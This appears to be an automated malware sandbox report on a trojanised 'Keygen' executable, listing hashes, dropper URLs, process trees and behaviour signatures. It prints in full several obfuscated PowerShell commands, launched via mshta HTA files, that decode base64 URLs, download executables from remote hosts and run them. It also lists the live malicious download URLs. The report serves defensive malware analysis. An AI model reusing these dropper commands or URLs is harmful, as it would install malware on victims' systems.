3a27b002eab25417e6ef4cdeb35edd40755a0a20f6c701842f10bfa9448e5c89

Target

201001-nyhbt4p25j_pw_infected/Keygen — копия (108) — копия.exe
Size

849KB
MD5

dbde61502c5c0e17ebc6919f361c32b9
SHA1

189749cf0b66a9f560b68861f98c22cdbcafc566
SHA256

88cad5f9433e50af09ac9cad9db06e9003e85be739060b88b64186c05c0d636b
SHA512

d9b8537f05844ec2f2549e2049e967a8023bfe432e3a9cf25fc0f7ad720e57a5830be733e1812cc806c5b68cd9586a031e394f67fc7e3f7fe390625fd5dedfbb

Score

10^/10

Malware Config

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://bit.do/fqhHT

exe.dropper

http://bit.do/fqhHT

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://bit.do/fqhJv

exe.dropper

http://bit.do/fqhJv

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://pdshcjvnv.ug/zxcvb.exe

exe.dropper

http://pdshcjvnv.ug/zxcvb.exe

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://zxvbcrt.ug/zxcvb.exe

exe.dropper

http://zxvbcrt.ug/zxcvb.exe

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://bit.do/fqhJD

exe.dropper

http://bit.do/fqhJD

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://rbcxvnb.ug/zxcvb.exe

exe.dropper

http://rbcxvnb.ug/zxcvb.exe

Signatures

Blacklisted process makes network request 6 IoCs

Processes:

powershell.exepowershell.exepowershell.exe

flow pid process

18 1268 powershell.exe
19 2824 powershell.exe
20 3976 powershell.exe
23 1268 powershell.exe
25 2824 powershell.exe
26 3976 powershell.exe
Executes dropped EXE 8 IoCs

Processes:

Keygen.exezaj.exeser.exetac.exeFVjhgtresfdbv.exeNHtrdsaghfDF.exeFVjhgtresfdbv.exeNHtrdsaghfDF.exe

pid process

3916 Keygen.exe
5044 zaj.exe
5052 ser.exe
5084 tac.exe
4388 FVjhgtresfdbv.exe
4320 NHtrdsaghfDF.exe
4424 FVjhgtresfdbv.exe
4440 NHtrdsaghfDF.exe
Delays execution with timeout.exe 2 IoCs
evasion

Processes:

timeout.exetimeout.exe

pid process

3364 timeout.exe
2812 timeout.exe
Modifies registry class 1 IoCs

Processes:

cmd.exe

description ioc process

Key created \REGISTRY\USER\S-1-5-21-1400429095-533421673-2598934218-1000_Classes\Local Settings cmd.exe

flow	pid	process
18	1268	powershell.exe
19	2824	powershell.exe
20	3976	powershell.exe
23	1268	powershell.exe
25	2824	powershell.exe
26	3976	powershell.exe

pid	process
3916	Keygen.exe
5044	zaj.exe
5052	ser.exe
5084	tac.exe
4388	FVjhgtresfdbv.exe
4320	NHtrdsaghfDF.exe
4424	FVjhgtresfdbv.exe
4440	NHtrdsaghfDF.exe

pid	process
3364	timeout.exe
2812	timeout.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-1400429095-533421673-2598934218-1000_Classes\Local Settings	cmd.exe

Suspicious behavior: EnumeratesProcesses 24 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exe

pid	process
1808	powershell.exe
1272	powershell.exe
3976	powershell.exe
2824	powershell.exe
1268	powershell.exe
1452	powershell.exe
1268	powershell.exe
3976	powershell.exe
3976	powershell.exe
1268	powershell.exe
1272	powershell.exe
1272	powershell.exe
1808	powershell.exe
2824	powershell.exe
1808	powershell.exe
2824	powershell.exe
1452	powershell.exe
1452	powershell.exe
1808	powershell.exe
2824	powershell.exe
3976	powershell.exe
1272	powershell.exe
1268	powershell.exe
1452	powershell.exe

Suspicious use of AdjustPrivilegeToken 6 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exe

description	pid	process
Token: SeDebugPrivilege	3976	powershell.exe
Token: SeDebugPrivilege	1272	powershell.exe
Token: SeDebugPrivilege	1808	powershell.exe
Token: SeDebugPrivilege	2824	powershell.exe
Token: SeDebugPrivilege	1268	powershell.exe
Token: SeDebugPrivilege	1452	powershell.exe

Suspicious use of SetWindowsHookEx 4 IoCs

Processes:

Keygen.exetac.exeser.exeFVjhgtresfdbv.exe

pid process

3916 Keygen.exe
5084 tac.exe
5052 ser.exe
4388 FVjhgtresfdbv.exe

pid	process
3916	Keygen.exe
5084	tac.exe
5052	ser.exe
4388	FVjhgtresfdbv.exe

Suspicious use of WriteProcessMemory 69 IoCs

Processes:

cmd.exemshta.exemshta.exemshta.exemshta.exemshta.exemshta.exepowershell.exepowershell.exepowershell.exetac.exeser.exe

description	pid	target process
PID 3904 wrote to memory of 3820	3904	cmd.exe
PID 3904 wrote to memory of 3820	3904	cmd.exe
PID 3904 wrote to memory of 3820	3904	cmd.exe
PID 3820 wrote to memory of 3916	3820	cmd.exe	Keygen.exe
PID 3820 wrote to memory of 3916	3820	cmd.exe	Keygen.exe
PID 3820 wrote to memory of 3916	3820	cmd.exe	Keygen.exe
PID 3820 wrote to memory of 3944	3820	cmd.exe	mshta.exe
PID 3820 wrote to memory of 3944	3820	cmd.exe	mshta.exe
PID 3820 wrote to memory of 3944	3820	cmd.exe	mshta.exe
PID 3820 wrote to memory of 996	3820	cmd.exe	mshta.exe
PID 3820 wrote to memory of 996	3820	cmd.exe	mshta.exe
PID 3820 wrote to memory of 996	3820	cmd.exe	mshta.exe
PID 3820 wrote to memory of 3364	3820	cmd.exe	timeout.exe
PID 3820 wrote to memory of 3364	3820	cmd.exe	timeout.exe
PID 3820 wrote to memory of 3364	3820	cmd.exe	timeout.exe
PID 3820 wrote to memory of 3376	3820	cmd.exe	mshta.exe
PID 3820 wrote to memory of 3376	3820	cmd.exe	mshta.exe
PID 3820 wrote to memory of 3376	3820	cmd.exe	mshta.exe
PID 3820 wrote to memory of 3536	3820	cmd.exe	mshta.exe
PID 3820 wrote to memory of 3536	3820	cmd.exe	mshta.exe
PID 3820 wrote to memory of 3536	3820	cmd.exe	mshta.exe
PID 3820 wrote to memory of 2812	3820	cmd.exe	timeout.exe
PID 3820 wrote to memory of 2812	3820	cmd.exe	timeout.exe
PID 3820 wrote to memory of 2812	3820	cmd.exe	timeout.exe
PID 3944 wrote to memory of 3976	3944	mshta.exe	powershell.exe
PID 3944 wrote to memory of 3976	3944	mshta.exe	powershell.exe
PID 3944 wrote to memory of 3976	3944	mshta.exe	powershell.exe
PID 3376 wrote to memory of 1268	3376	mshta.exe	powershell.exe
PID 3376 wrote to memory of 1268	3376	mshta.exe	powershell.exe
PID 3376 wrote to memory of 1268	3376	mshta.exe	powershell.exe
PID 3536 wrote to memory of 1272	3536	mshta.exe	powershell.exe
PID 3536 wrote to memory of 1272	3536	mshta.exe	powershell.exe
PID 3536 wrote to memory of 1272	3536	mshta.exe	powershell.exe
PID 996 wrote to memory of 1452	996	mshta.exe	powershell.exe
PID 996 wrote to memory of 1452	996	mshta.exe	powershell.exe
PID 996 wrote to memory of 1452	996	mshta.exe	powershell.exe
PID 3820 wrote to memory of 3732	3820	cmd.exe	mshta.exe
PID 3820 wrote to memory of 3732	3820	cmd.exe	mshta.exe
PID 3820 wrote to memory of 3732	3820	cmd.exe	mshta.exe
PID 3820 wrote to memory of 1544	3820	cmd.exe	mshta.exe
PID 3820 wrote to memory of 1544	3820	cmd.exe	mshta.exe
PID 3820 wrote to memory of 1544	3820	cmd.exe	mshta.exe
PID 3732 wrote to memory of 2824	3732	mshta.exe	powershell.exe
PID 3732 wrote to memory of 2824	3732	mshta.exe	powershell.exe
PID 3732 wrote to memory of 2824	3732	mshta.exe	powershell.exe
PID 1544 wrote to memory of 1808	1544	mshta.exe	powershell.exe
PID 1544 wrote to memory of 1808	1544	mshta.exe	powershell.exe
PID 1544 wrote to memory of 1808	1544	mshta.exe	powershell.exe
PID 1268 wrote to memory of 5044	1268	powershell.exe	zaj.exe
PID 1268 wrote to memory of 5044	1268	powershell.exe	zaj.exe
PID 1268 wrote to memory of 5044	1268	powershell.exe	zaj.exe
PID 2824 wrote to memory of 5052	2824	powershell.exe	ser.exe
PID 2824 wrote to memory of 5052	2824	powershell.exe	ser.exe
PID 2824 wrote to memory of 5052	2824	powershell.exe	ser.exe
PID 3976 wrote to memory of 5084	3976	powershell.exe	tac.exe
PID 3976 wrote to memory of 5084	3976	powershell.exe	tac.exe
PID 3976 wrote to memory of 5084	3976	powershell.exe	tac.exe
PID 5084 wrote to memory of 4388	5084	tac.exe	FVjhgtresfdbv.exe
PID 5084 wrote to memory of 4388	5084	tac.exe	FVjhgtresfdbv.exe
PID 5084 wrote to memory of 4388	5084	tac.exe	FVjhgtresfdbv.exe
PID 5084 wrote to memory of 4320	5084	tac.exe	NHtrdsaghfDF.exe
PID 5084 wrote to memory of 4320	5084	tac.exe	NHtrdsaghfDF.exe
PID 5084 wrote to memory of 4320	5084	tac.exe	NHtrdsaghfDF.exe
PID 5052 wrote to memory of 4424	5052	ser.exe	FVjhgtresfdbv.exe

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\C0A6.tmp\start.bat" "C:\Users\Admin\AppData\Local\Temp\201001-nyhbt4p25j_pw_infected\Keygen — ????? (108) — ?????.exe""
1⤵
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:3820

C:\Users\Admin\AppData\Local\Temp\C0A6.tmp\Keygen.exe
Keygen.exe
2⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:3916

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\C0A6.tmp\m.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
2⤵
- Suspicious use of WriteProcessMemory
PID:3944

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL iguyoamkbvf $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;iguyoamkbvf umgptdaebf $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|umgptdaebf;iguyoamkbvf rsatiq $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL2JpdC5kby9mcWhIVA==';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);rsatiq $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
3⤵
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3976

C:\Users\Public\tac.exe
"C:\Users\Public\tac.exe"
4⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:5084

C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe
"C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe"
5⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:4388

C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe
"C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe"
5⤵
- Executes dropped EXE
PID:4320

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\C0A6.tmp\m1.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
2⤵
- Suspicious use of WriteProcessMemory
PID:996

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL iyhxbstew $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;iyhxbstew bruolc $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|bruolc;iyhxbstew cplmfksidr $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL3p4dmJjcnQudWcvenhjdmIuZXhl';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);cplmfksidr $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1452

C:\Windows\SysWOW64\timeout.exe
timeout 1
2⤵
- Delays execution with timeout.exe
PID:3364

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\C0A6.tmp\b.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
2⤵
- Suspicious use of WriteProcessMemory
PID:3376

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL omdrklgfia $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;omdrklgfia yvshnex $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|yvshnex;omdrklgfia gemjhbnrwydsof $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL2JpdC5kby9mcWhKdg==';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);gemjhbnrwydsof $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
3⤵
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1268

C:\Users\Public\zaj.exe
"C:\Users\Public\zaj.exe"
4⤵
- Executes dropped EXE
PID:5044

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\C0A6.tmp\b1.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
2⤵
- Suspicious use of WriteProcessMemory
PID:3536

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL ftdrmoulpbhgsc $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;ftdrmoulpbhgsc rfmngajuyepx $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|rfmngajuyepx;ftdrmoulpbhgsc hnjmzobgr $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL3Bkc2hjanZudi51Zy96eGN2Yi5leGU=';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);hnjmzobgr $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1272

C:\Windows\SysWOW64\timeout.exe
timeout 2
2⤵
- Delays execution with timeout.exe
PID:2812

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\C0A6.tmp\ba.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
2⤵
- Suspicious use of WriteProcessMemory
PID:3732

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL vfudzcotabjeq $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;vfudzcotabjeq urdjneqmx $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|urdjneqmx;vfudzcotabjeq wuirkcyfmgjql $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL2JpdC5kby9mcWhKRA==';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);wuirkcyfmgjql $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
3⤵
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2824

C:\Users\Public\ser.exe
"C:\Users\Public\ser.exe"
4⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:5052

C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe
"C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe"
5⤵
- Executes dropped EXE
PID:4424

C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe
"C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe"
5⤵
- Executes dropped EXE
PID:4440

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\C0A6.tmp\ba1.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
2⤵
- Suspicious use of WriteProcessMemory
PID:1544

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL wvroy $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;wvroy bwskyfgqtipu $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|bwskyfgqtipu;wvroy shlevpgb $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL3JiY3h2bmIudWcvenhjdmIuZXhl';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);shlevpgb $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1808

Network

MITRE ATT&CK Matrix

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log
MD5
b751492c41c6f3173d3b6f31c1b9b4eb

SHA1
abc53a2c939b1d774940deb0b888b7b1ba5a3c7b

SHA256
ad95fdf313324ed94997cec026239ea3631bf27298500e5def5941db9493b457

SHA512
afa65279455b98353c6fe6869f2b545231231a953afbb1bf2eaed6b11646c4b4c77c5c18102651ae247a2f0fa18c698d908f4d23ca91581cbf28e32e061cb2e2

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
MD5
9ed652024cfe0a6e36b47a7e3c6432d8

SHA1
0c0a5acc9ca3f65e986f9910f986ca5c6013420d

SHA256
4087f5cba6f3ac07aae15e3ee9ca5d766ca633d84375a1ea4edd960ff321043f

SHA512
3ea14b2610a01573999e4e8129f1096d35435e91cf25198defc30e77572e2e4ea32973007704affac66be42fea359be3ee74f0859eb78be8dcaf17b2027359a3

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
MD5
34ea6cc06fe2b7b95ccf1069c97cdf8b

SHA1
f4d501f3a0814505139df257fbb79553835c9de8

SHA256
c2a406e00a542a9c38dca10d019f68e5c9d7e79a97041d9aaeaf8c4bdf707ec3

SHA512
e2b0cbc6114ab284cccb4492f2cf3ff1aa45b5e0d3ea56a3f2076ab0f6fe09fd76d6f6031251e03a8e01eda98bbbdef243257fc3ed64780d7022fc9b889c5d38

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
MD5
34ea6cc06fe2b7b95ccf1069c97cdf8b

SHA1
f4d501f3a0814505139df257fbb79553835c9de8

SHA256
c2a406e00a542a9c38dca10d019f68e5c9d7e79a97041d9aaeaf8c4bdf707ec3

SHA512
e2b0cbc6114ab284cccb4492f2cf3ff1aa45b5e0d3ea56a3f2076ab0f6fe09fd76d6f6031251e03a8e01eda98bbbdef243257fc3ed64780d7022fc9b889c5d38

Download Submit
C:\Users\Admin\AppData\Local\Temp\C0A6.tmp\Keygen.exe
MD5
ea2c982c12fbec5f145948b658da1691

SHA1
d17baf0b8f782934da0c686f2e87f019643be458

SHA256
eecd6f108f35df83d4450effa5d5640efe7e5f2fff819833f01fb2d053e626d4

SHA512
1f1d6768467fff8387be1cf536e01cfbf28cb04777fa184f18fcab0c518ead8d52827abe5ca1c566c425616c7b06ab1bce0c92dd684c818b51fc52fa0f4b74b8

Download Submit
C:\Users\Admin\AppData\Local\Temp\C0A6.tmp\Keygen.exe
MD5
ea2c982c12fbec5f145948b658da1691

SHA1
d17baf0b8f782934da0c686f2e87f019643be458

SHA256
eecd6f108f35df83d4450effa5d5640efe7e5f2fff819833f01fb2d053e626d4

SHA512
1f1d6768467fff8387be1cf536e01cfbf28cb04777fa184f18fcab0c518ead8d52827abe5ca1c566c425616c7b06ab1bce0c92dd684c818b51fc52fa0f4b74b8

Download Submit
C:\Users\Admin\AppData\Local\Temp\C0A6.tmp\b.hta
MD5
5bbba448146acc4530b38017be801e2e

SHA1
8c553a7d3492800b630fc7d65a041ae2d466fb36

SHA256
96355db8fd29dcb1f30262c3eac056ff91fd8fa28aa331ed2bedd2bd5f0b3170

SHA512
48e3d605b7c5531cb6406c8ae9d3bd8fbb8f36d7dd7a4cbe0f23fc6ef2df08267ce50d29c7ec86bf861ebdcf9e48fb9c61c218f6584f1a9a0289a10a2fec730b

Download Submit
C:\Users\Admin\AppData\Local\Temp\C0A6.tmp\b1.hta
MD5
c57770e25dd4e35b027ed001d9f804c2

SHA1
408b1b1e124e23c2cc0c78b58cb0e595e10c83c0

SHA256
bb0fd0011d5a0c1bbb69cb997700eb329eee7bed75fef677122fcfda78edc7f5

SHA512
ac6d957d2b6218d9c19dea60b263d6148f730a7a4599e03023afc0881b9f4051d20e5f1d94fc3e416c5e12bcc9846a43af90f55767271ef0cc4b84f31f432ae7

Download Submit
C:\Users\Admin\AppData\Local\Temp\C0A6.tmp\ba.hta
MD5
b762ca68ba25be53780beb13939870b2

SHA1
1780ee68efd4e26ce1639c6839c7d969f0137bfd

SHA256
c15f61a3c6397babdf83b99b45345fec9851c4d3669c95b717f756b7c48050d1

SHA512
f99570d2dae550cb1474e2d1cabf8296a685e0e7254d92eb21d856acb8dece635a0842a00d63da2a4faa18c52c57244c565d6a752c857d5c15e8c23b3d4a9e1a

Download Submit
C:\Users\Admin\AppData\Local\Temp\C0A6.tmp\ba1.hta
MD5
a2ea849e5e5048a5eacd872a5d17aba5

SHA1
65acf25bb62840fd126bf8adca3bb8814226e30f

SHA256
0c4ffba2e00da7c021d0dcab292d53290a4dc4d067c029e5db30ba2ac094344c

SHA512
d4e53c150e88f31c9896decfaa9f0a8dfab5d6d9691af162a6c0577786620fb1f3617398fc257789a52e0988bf1bfc94255db6d003397863b0b9e82afabdb89f

Download Submit
C:\Users\Admin\AppData\Local\Temp\C0A6.tmp\m.hta
MD5
